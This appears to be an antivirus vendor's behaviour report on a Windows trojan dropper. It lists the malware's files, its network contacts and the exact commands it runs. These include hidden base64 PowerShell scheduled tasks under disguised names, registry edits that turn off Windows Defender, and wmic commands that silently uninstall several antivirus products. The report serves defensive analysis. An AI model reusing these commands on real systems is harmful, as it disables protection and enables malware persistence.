Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\chromeupdates
- <SYSTEM32>\tasks\microsoft\windows\appid\numbers
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
Creates and executes the following
- 'C:\users\public\java.exe'
Modifies file system
Creates the following files
- C:\users\public\java.exe
Deletes the following files
- C:\users\public\java.exe
Network activity
Connects to
- 'd.##cat.co':88
TCP
HTTP GET requests
- http://d.###at.co:88/java.exe via d.##cat.co
UDP
- DNS ASK d.##cat.co
- DNS ASK microsoft.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c del C:\Users\Public\java.exe > nul' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\AppID\Numbers /F /tr "powershell -w hidden -e SQBFAFgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAGIAYwBsAGkA...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn ChromeUpdates /F /tr "powershell -w hidden -e SQBFAFgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbw...
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v MpEnablePus /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v MpEnablePus /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
- '<SYSTEM32>\cmd.exe' /c rem 1 - Disable Real-time protection
- '<SYSTEM32>\cmd.exe' /c rem cmd.exe /c reg add HKLM\System\CurrentControlSet\Services\SecurityHealthService /v Start /t REG_DWORD /d 4 /f
- '<SYSTEM32>\cmd.exe' /c rem To also disable Windows Defender Security Center include this
- '<SYSTEM32>\cmd.exe' schtasks /run /tn ChromeUpdates
- '<SYSTEM32>\cmd.exe' /c rem https://technet.microsoft.com/en-us/itpro/powershell/windows/defender/set-mppreference
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Norton Security%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%AntiVirus%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Security%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%avp%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%avast%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Eset%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe /verysilent /suppressmsgboxes /norestart
- '%WINDIR%\syswow64\cmd.exe' /c del C:\Users\Public\java.exe > nul
